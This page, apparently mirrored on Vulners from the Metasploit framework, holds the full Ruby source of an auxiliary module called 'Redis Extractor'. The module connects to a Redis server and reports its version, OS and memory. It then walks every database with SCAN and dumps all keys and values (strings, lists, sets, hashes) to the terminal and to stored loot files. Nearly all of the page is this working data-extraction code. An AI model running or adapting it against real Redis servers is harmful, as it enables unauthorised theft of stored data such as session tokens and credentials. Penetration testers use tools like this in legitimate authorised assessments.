Lucene search
K

Redis Extractor

🗓️ 29 Apr 2021 17:41:44Reported by Geoff Rainville noncenz <Geoff Rainville [email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 46 Views

Module connects to Redis, retrieves keys and data stored, and ensures compatibility with a specific Redis version

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Redis

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Redis Extractor',
        'Description' => %q{
          This module connects to a Redis instance and retrieves keys and data stored.
        },
        'Author' => ['Geoff Rainville noncenz[at]ultibits.com'],
        'License' => MSF_LICENSE,
        'References' => [['URL', 'https://redis.io/topics/protocol']],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )
    register_options(
      [
        OptInt.new('LIMIT_COUNT', [false, 'Stop after retrieving this many entries, per database', nil])
      ]
    )
  end

  MIN_REDIS_VERSION = '2.8.0'.freeze

  # Recurse to assemble the full list of keys
  def scan(offset)
    response = redis_command('scan', offset)
    parsed = parse_redis_response(response)
    raise 'Unexpected RESP response length' unless parsed.length == 2

    new_offset = parsed[0] # cursor position for next iteration or zero if we are done
    keys = parsed[1]
    results = []
    keys.each do |key|
      value = value_for_key(key)
      if value
        results.push([key, value])
      end
    end
    [new_offset, results]
  end

  def value_for_key(key)
    key_type = redis_command('TYPE', key)
    return unless key_type

    key_type = parse_redis_response(key_type)
    case key_type
    when 'string'
      string_content = redis_command('get', key)
      return unless string_content

      return parse_redis_response(string_content)
    when 'list'
      list_content = redis_command('LRANGE', key, '0', '-1')
      return unless list_content

      return parse_redis_response(list_content)
    when 'set'
      set_content = redis_command('SMEMBERS', key)
      return unless set_content

      return parse_redis_response(set_content)
    when 'zset'
      set_content = redis_command('ZRANGE', key, '0', '-1')
      return unless set_content

      return parse_redis_response(set_content)
    when 'hash'
      hash_content = parse_redis_response(redis_command('HGETALL', key))
      return unless hash_content

      result = {}
      (0..hash_content.length - 1).step(2) do |x|
        result[hash_content[x]] = hash_content[x + 1]
      end
      return result
    when 'none'
      # May have been deleted in the interim
      return nil
    else
      return 'unknown key type ' + key_type
    end
  end

  # Connect to Redis and ensure compatibility.
  def redis_connect
    connect
    # NOTE: Full INFO payload fails occasionally. Using server filter until Redis library can be fixed
    if (info_data = redis_command('INFO', 'server')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
      print_good("Connected to Redis version #{redis_version}")
    end

    # Some connection attempts such as incorrect password set fail silently in the Redis library.
    if !info_data
      print_error('Unable to connect to Redis')
      print_error('Set verbose true to troubleshoot') if !datastore['VERBOSE']
      return
    end

    # Ensure version compatibility
    if (Rex::Version.new(redis_version) < Rex::Version.new(MIN_REDIS_VERSION))
      print_status("Module supports Redis #{MIN_REDIS_VERSION} or higher.")
      return
    end

    # Connection was successful
    return info_data
  rescue Msf::Auxiliary::Failed => e
    # This error trips when auth is required but password not set
    print_error('Unable to connect to Redis: ' + e.message)
    return
  rescue Rex::ConnectionTimeout
    print_error('Timed out trying to connect to Redis')
    return
  rescue StandardError
    print_error('Unknown error trying to connect to Redis')
    return
  end

  def check_host(_ip)
    info_data = redis_connect
    if info_data
      if /os:(?<os_ver>.*)\r/ =~ info_data
        os_ver = os_ver.strip
        print_status("OS is #{os_ver} ")
      end

      if /keys=(?<keys>\S+),expires=/ =~ info_data
        print_status("Redis reports #{keys} keys stored")
      end

      if /used_memory_peak_human:(?<bytes>.*)\r/ =~ info_data
        bytes = bytes.strip
        print_status("#{bytes.chomp} bytes stored")
      end
    end
    disconnect
    return info_data ? Msf::Exploit::CheckCode::Appears : Msf::Exploit::CheckCode::Unknown
  end

  def get_keyspace
    ks = redis_command('INFO', 'keyspace')
    ks = parse_redis_response(ks)
    ks = ks.split("\r\n")
    result = []
    ks.each do |k|
      if /db(?<db>\S+):/ =~ k && /keys=(?<keys>\S+),expires/ =~ k
        result.append([db, keys])
      end
    end
    return result
  end

  def run_host(_ip)
    if !redis_connect
      disconnect
      return
    end

    keyspace = get_keyspace
    max_results = datastore['LIMIT_COUNT']
    keyspace.each do |space|
      if max_results
        amount = "#{[space[1].to_i, max_results].min} of #{space[1]}"
      else
        amount = (space[1]).to_s
      end
      print_status("Extracting about #{amount} keys from database #{space[0]}")
      redis_command('SELECT', space[0])
      new_offset = '0'
      all_results = []
      loop do
        new_offset, results = scan(new_offset)
        all_results.concat(results)
        break if max_results && all_results.count >= max_results
        break if new_offset == '0'
      end

      if all_results.empty?
        print_status('No keys returned')
        next
      end

      # Report data in terminal
      result_table = Rex::Text::Table.new(
        'Header' => "Data from #{peer} database #{space[0]}",
        'Indent' => 1,
        'Columns' => [ 'Key', 'Value' ]
      )
      all_results.each { |pair| result_table << pair }
      print_line
      print_line(result_table.to_s)

      # Store data as loot
      csv = []
      all_results.each { |pair| csv << pair.to_csv }
      path = store_loot("redis.dump_db#{space[0]}", 'text/plain', rhost, csv.join, 'redis.txt', 'Redis extractor')
      print_good("Redis data stored at #{path}")
    end
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Feb 2026 18:58Current
7High risk
Vulners AI Score7
46